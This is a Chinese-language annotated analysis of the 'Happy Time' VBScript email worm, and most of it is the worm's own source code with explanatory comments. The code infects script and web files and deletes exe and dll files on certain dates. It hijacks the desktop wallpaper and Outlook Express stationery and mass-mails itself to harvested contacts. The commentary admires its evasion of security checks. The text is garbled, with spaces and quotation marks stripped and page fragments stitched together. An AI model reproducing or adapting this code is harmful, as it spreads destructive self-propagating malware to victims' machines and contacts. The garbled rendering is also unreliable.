欢乐时光代码分析

1、 PAGE PAGE 34“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（TypeLibrary）成功地避开了安全审核的手段更是令人叹为观止。下面让我们来看看它藏在快乐的外衣下的是什么吧！*欢乐时光*RemIamsorry!happy

2、timeOnErrorResumeNextMload以上为病毒入口，并加上Iamsorry!happytime的注释，以表明此文件已被感染过。Submload()OnErrorResumeNextmPath=Grf()SetOs=CreateObject(Scriptlet.TypeLib)SetOh=CreateObject(Shell.Application)建立枚举对象，避开了安全审核IfIsHTMLThen调用IsHtml函数，如果是Html，就小写mURL=LCase(document.Location)IfmPath=ThenOs.ResetOs.Path=C:Help.htmOs

3、.Doc=Lhtml()Os.Write()如果mPath为空，就在C盘下生成Help.htmIhtml=超文本的内容，并指向C:Help.HtmCalldocument.Body.insertAdjacentHTML(AfterBegin，Ihtml)ElseIfIv(mPath，Help.vbs)ThensetIntervalRt()，10000Elsem=htaIfLCase(m)=Right(mURL，Len(m)Thenid=setTimeout(mclose()，1)设置超时条件mainElseOs.Reset()Os.Path=mPath&Help.htaOs.Doc=Lhtml

4、()Os.write()IvmPath，Help.hta生成Help.htaEndIfEndIfEndIfElseMain都不是，就执行main函数EndIfEndSub*以下为主函数，太长了！Submain()OnErrorResumeNextSetOf=CreateObject(Scripting.FileSystemObject)不用说，创建FileSystemObject对象啦SetOd=CreateObject(Scripting.Dictionary)创建Dictionary对象，用来保存数据键和项目对，它实际上是一个比较开放的数组Od.Addhtml，1100Od.Addvbs，

5、0100Od.Addhtm，1100Od.Addasp，0010向Dictionary对象添加要感染的项目对Ks=HKEY_CURRENT_USERSoftware使用变量以减少代码长度Ds=Grf()Cs=Gsf()IfIsVbsThen如果是VBSIfOf.FileExists(C:help.htm)ThenOf.DeleteFile(C:help.htm)如果c:help.htm存在，就删掉，消灭遗留的痕迹EndIfKey=CInt(Month(Date)+Day(Date)IfKey=13Then如果月与日之和为13（这也是它变种多的原因将13改为其他数字即可）Od.RemoveAll

6、Od.Addexe，0001Od.Adddll，0001就清空Dictionary数组，并将exe、dll加入Dictionary对象，以备删除之用EndIfCn=Rg(Ks&HelpCount)读注册表中的HKEY_CURRENT_USERSoftwareHelpCount键值IfCn=ThenCn=1如果Count为0，就设为1EndIfRwKs&HelpCount，Cn+1添加HKEY_CURRENT_USERSoftwareHelpCount键值，值为2f1=Rg(Ks&HelpFileName)再读HKEY_CURRENT_USERSoftwareHelpFileName键值f2=F

7、Next(Of，Od，f1)得到该文件的文件名fext=GetExt(Of，Od，f2)得到该文件扩展名的代号RwKs&HelpFileName，f2添加键值IfIsDel(fext)Then如果扩展名代号的第四个字符为1即0001(exe、dll)f3=f2储存文件名f2=FNext(Of，Od，f2)得到文件的文件名？RwKs&HelpFileName，f2写注册表Of.DeleteFilef3删除文件ElseIfLCase(WScript.ScriptFullname)LCase(f2)Then如果不是集合中的文件FwOf，f2，fextEndIfEndIfIf(CInt(Cn)Mod3

8、66)=0ThenIf(CInt(Second(Time)Mod2)=0Then使用Cint函数强制执行转换，并发邮件TsendElseadds=OgMsend(adds)EndIfEndIfwp=Rg(HKEY_CURRENT_USERControlPaneldesktopwallPaper)IfRg(Ks&HelpwallPaper)wpOrwp=Then比较桌面墙纸是否已改变Ifwp=Thenn1=n3=Cs&Help.htmElsemP=Of.GetFile(wp).ParentFoldern1=Of.GetFileName(wp)n2=Of.GetBaseName(wp)n3=Cs&

9、n2&.htmEndIfSetpfc=Of.CreateTextFile(n3，True)mt=Sa(1100)创建超文本pfc.Write&mt超文本的内容pfc.CloseRwKs&HelpwallPaper，n3RwHKEY_CURRENT_USERControlPaneldesktopwallPaper，n3将带毒的超文本设置成活动桌面EndIfElseSetfc=Of.CreateTextFile(Ds&Help.vbs，True)fc.WriteSa(0100)创建vbs文件fc.Closebf=Cs&Untitled.htmSetfc2=Of.CreateTextFile(bf，

10、True)fc2.WriteLhtmlfc2.Close创建windows下的untitled.htmoeid=Rg(HKEY_CURRENT_USERIdentitiesDefaultUserID)oe=HKEY_CURRENT_USERIdentities&oeid&SoftwareMicrosoftOutlookExpress5.0MailMSH=oe&MessageSendHTMLCUS=oe&ComposeUseStationerySN=oe&StationeryNameRwMSH，1RwCUS，1RwSN，bf在Hkey_Current_UserIdentitiesAECF6CA3

11、-9614-4AF4-AEF2-CT63FE9D97A4SoftwareMicrosoftOutlookExpress5.0Mail下添加三个键值MessageSendHTML、ComposeUseStationery和StationeryName，前两个的值为1，后一个指向windowsuntitled.htmWeb=Cs&WEBSetgf=Of.GetFolder(Web).Files得到windowsweb文件夹里的文件Od.Addhtt，1100向Dictionary里添加htt项目对ForEachmIngf遍历windowsweb下的每一个文件fext=GetExt(Of，Od，m)

12、得到每个文件的扩展名IffextThen如果扩展名不为空，则FwOf，m，fextEndIfNextEndIfEndSub*Submclose()document.WriteIamsorry!写入Iamsorry，并关闭。以此作为感染与否的标记window.CloseEndSub*SubFw(Of，S，n)此时S为文件名，n为文件扩展名Dimfc，fc2，m，mmail，mtOnErrorResumeNextSetfc=Of.OpenTextFile(S，1)只读模式打开该文件mt=fc.ReadAll读入全部文件流fc.Close关闭文件IfNotSc(mt)Then如果未感染过mmail=

13、Ml(mt)mt=Sa(n)Setfc2=Of.OpenTextFile(S，8)打开文件并在文件末尾进行写爱作fc2.Writemtfc2.CloseMsend(mmail)发带毒邮件EndIfEndSub*FunctionSc(S)mN=RemIamsorry!happytimeIfInStr(S，mN)0Then如果读入的文件流中有RemIamsorry!happytimeSc=TrueElseSc=False表示已感染过，返回True，否则为FalseEndIfEndFunction*FunctionFNext(Of，Od，S)Dimfpath，fname，fext，T，gfOnErr

14、orResumeNextfname=T=False初始化变量IfOf.FileExists(S)Then如果S存在于当前文件夹中fpath=Of.GetFile(S).ParentFolder得到文件的父目录名fname=S得到文件名ElseIfOf.FolderExists(S)Then不存在于当前文件夹中，则得到目录名fpath=ST=TrueElsefpath=Dnext(Of，)得到当前盘符即根目录EndIfDoWhileTrueSetgf=Of.GetFolder(fpath).Files得到当前目录下的所有文件对象ForEachmIngf遍历每个文件IfTThenIfGetExt(

15、Of，Od，m)Then如果该文件是文件集合中的一员FNext=m则返回该文件名，供调用的函数或过程使用感染或删除之ExitFunctionEndIfElseIfLCase(m)=LCase(fname)Orfname=Then如果没文件T=TrueEndIfNextfpath=Pnext(Of，fpath)LoopEndFunction*FunctionPnext(Of，S)OnErrorResumeNextDimPpath，Npath，gp，pn，T，mT=FalseIfOf.FolderExists(S)Then如果如果指定的文件夹存在Setgp=Of.GetFolder(S).SubF

16、olders就得到子目录数pn=gp.CountIfpn=0Then如果没子目录Ppath=LCase(S)Npath=LCase(Of.GetParentFolderName(S)得到父目录的小写形式T=TrueElseNpath=LCase(S)有子目录，得到其小写形式的集合EndIfDoWhileNotErForEachpnInOf.GetFolder(Npath).SubFolders得到子目录下的子目录IfTThenIfPpath=LCase(pn)ThenT=FalseEndIfElsePnext=LCase(pn)ExitFunctionEndIfNextT=TruePpath=

17、LCase(Npath)将字符串转化成小写Npath=Of.GetParentFolderName(Npath)IfOf.GetFolder(Ppath).IsRootFolderThen如果是根目录m=Of.GetDriveName(Ppath)就得到分区符Pnext=Dnext(Of，m)ExitFunctionEndIfLoopEndIfEndFunction*FunctionDnext(Of，S)Dimdc，n，d，T，mOnErrorResumeNextT=Falsem=Setdc=Of.Drives得到所有的驱动器盘符ForEachdIndc遍历每个驱动器Ifd.DriveType

18、=2Ord.DriveType=3Then如果是网络盘或本地盘IfTThenDnext=dExitFunction如果是False，就返回当前盘，并退出本函数ElseIfLCase(S)=LCase(d)Then如果是True且盘符相同，就令T为TrueT=TrueEndIfIfm=Then如果m为空，就将盘符付给mm=dEndIfEndIfEndIfNextDnext=m返回盘符EndFunction*FunctionGetExt(Of，Od，S)DimfextOnErrorResumeNextfext=LCase(Of.GetExtensionName(S)返回该文件扩展名的小写GetEx

19、t=Od.Item(fext)返回Dictionary对象中指定的key对应的item即0001(exe)等EndFunction*SubRw(k，v)写注册表DimROnErrorResumeNextSetR=CreateObject(WScript.Shell)创建对象R.RegWritek，vEndSub*FunctionRg(v)读注册表DimROnErrorResumeNextSetR=CreateObject(WScript.Shell)创建对象Rg=R.RegRead(v)EndFunction*FunctionIsVbs()此函数判断是不是VBS文件DimErrTestOnEr

20、rorResumeNextErrTest=WScript.ScriptFullnameIfErrThen如果出错，则不是VBSIsVbs=FalseElseIsVbs=TrueEndIfEndFunction*FunctionIsHTML()此函数判断是不是Html文件DimErrTestOnErrorResumeNextErrTest=document.LocationIfErThenIsHTML=False如果出错，则不是超文本ElseIsHTML=TrueEndIfEndFunction*FunctionIsMail(S)此函数判断是不是邮件地址Dimm1，m2IsMail=FalseI

21、fInStr(S，vbCrLf)=0Then返回vbCrLf在S中第一次出现的位置，vbCrLf是换行符m1=InStr(S，)m2=InStr(S，.)Ifm10Andm1m2Then如果有“”符号且“”在“.之前，则是邮件地址IsMail=TrueEndIfEndIfEndFunction*FunctionGsf()得到windows目录DimOf，mOnErrorResumeNextSetOf=CreateObject(Scripting.FileSystemObject)创建FileSystemObject对象m=Of.GetSpecialFolder(0)得到特殊目录Windows、

22、System和Temp目录IfErThen如果失败，返回C:Gsf=C:Else若正常，则返回%Windows%Gsf=mEndIfEndFunction*FunctionLhtml()写入超文本的内容，其中vbCrLf是换行符Lhtml=Help&Lscript(Lvbs()&vbCrLf&_EndFunction*FunctionLscript(S)写入vbscript的声明Lscript=&vbCrLf&_S&EndFunction*FunctionSl(S1，S2，n)Diml1，l2，l3，il1=Len(S1)得到文件流的长度l2=Len(S2)得到mailto:的长度i=InSt

23、r(S1，S2)在文件流中查找mailto:第一次出现的位置值为一个数Ifi0Then找到则进行字符串爱作l3=i+l2-1Ifn=0ThenSl=Left(S1，i-1)ElseIfn=1ThenSl=Right(S1，l1-l3)EndIfElseSl=EndIfEndFunction*FunctionOg()得到WAB（通讯簿）中的邮件地址Dimi，n，m()，Om，OoSetOo=CreateObject(Outlook.Application)创建Outlook应用程序对象，Outlook和OutlookExpress都跑不掉啦！SetOm=Oo.GetNamespace(MAPI)

24、.GetDefaultFolder(10).Itemsn=Om.CountReDimm(n)Fori=1Tonm(i-1)=Om.Item(i).Email1Address得到每个WAB中的邮件地址NextOg=mEndFunction*SubTsend()发带毒邮件DimOd，MS，MM，a，mSetOd=CreateObject(Scripting.Dictionary)MConnectMS，MMMM.FetchSorted=TrueMM.FetchFori=0ToMM.MsgCount-1MM.MsgIndex=ia=MM.MsgOrigAddressIfOd.Item(a)=ThenO

25、d.Item(a)=MM.MsgSubjectEndIfNextForEachmInOd.KeysMM.ComposeMM.MsgSubject=Fw:&Od.Item(m)设置邮件标题MM.RecipAddress=m此邮件的当前的目标邮件地址MM.AttachmentPathName=Gsf&Untitled.htm添加附件WindowsUntitled.htmMM.Send发送！NextMS.SignOffEndSub*FunctionEr()设置的错误陷阱，避免程序崩溃，严谨的风格值得学习IfErr.Number=0ThenEr=FalseElseErr.ClearEr=TrueEndIfEndFunction*Funct